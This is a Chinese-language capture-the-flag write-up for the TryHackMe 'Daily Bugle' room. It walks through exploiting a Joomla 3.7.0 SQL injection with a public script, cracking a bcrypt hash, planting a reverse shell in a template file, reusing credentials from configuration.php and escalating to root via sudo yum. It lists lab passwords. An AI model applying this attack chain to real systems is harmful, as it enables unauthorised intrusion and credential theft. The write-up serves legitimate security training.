TryHackMe | Daily Bugle Writeup

发布时间 2023-07-15 20:54:34作者: L0VEhzzz

TryHackMe | Daily Bugle Writeup

信息收集:

image-20230715174237978

可以看到cms是Joomla,然后有一个administrator二级目录,然后开启了mysql服务

使用joomscan针对目标站点进行扫描,joomscan是一个专门用于扫描Joomla CMS的工具。

joomscan -u http://10.10.184.75

 

image-20230715174659041

可以看到版本是Joomla 3.7.0,到exploit上找,发现这个版本存在sql注入

image-20230715174825506

在这里我们使用github上的一个python脚本

具体的脚本地址为:https://github.com/XiphosResearch/exploits/blob/master/Joomblah/joomblah.py

下载方式

wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py
​
sudo python joomblah.py http://10.10.184.75
 

image-20230715175955626

跑出来jonah用户的密码信息

$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
 

使用john工具进行hash破解,但是我们需要知道他的加密方式

在这个网站查询 https://hashcat.net/wiki/doku.php?id=example_hashes

CTRL+F搜索,是bcypt加密,配合rockyou破解

image-20230715181019792

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt --format=bcrypt
 

image-20230715181852584

爆的时间会久点,耐心等一会

用账号密码登入后台

jonah
spiderman123

image-20230715182056798

进入到管理界面,然后进入templates,也就是模板界面,然后save保存

image-20230715182846855

然后编辑index.php的内容,写入反向shell的内容(就是skynet里那个反向shell),记得改ip,端口

image-20230715183518285

接着打开本机上的监听再去访问我们修改过的网页

image-20230715183746501

http://10.10.184.75/templates/beez3/index.php 

访问后我们就能得到这个shell

image-20230715183850659

接着查找下有用的信息,我们前往网站目录(cd /var/www/html)看看配置文件。

image-20230715184015514

有个configuration.php,而且我们知道在Joomla会利用configuration.php存储简单数据

cat一下,看看有没有好东西,果然

image-20230715184156258

接着我们切换到home目录,发现有个jjameson用户,尝试用我们新拿到的密码能不能切换到他

image-20230715184252011

su jjameson
 

image-20230715184415379

成功

image-20230715184459445

提权

我们先看看jjameson 的 sudo 权限有没有可以利用的信息

sudo -l
 

image-20230715184608383

有个yum可以利用,题目给了我们提示

image-20230715185117024

https://gtfobins.github.io/gtfobins/yum/

image-20230715185431941

运行以下命令得到root shell

为了方便(看着也舒服),建议ssh连接后跑

ssh jjameson@10.10.184.75 
password:nv5uz9r3ZEDzVjNu
 

image-20230715185807168

image-20230715190406915

得到答案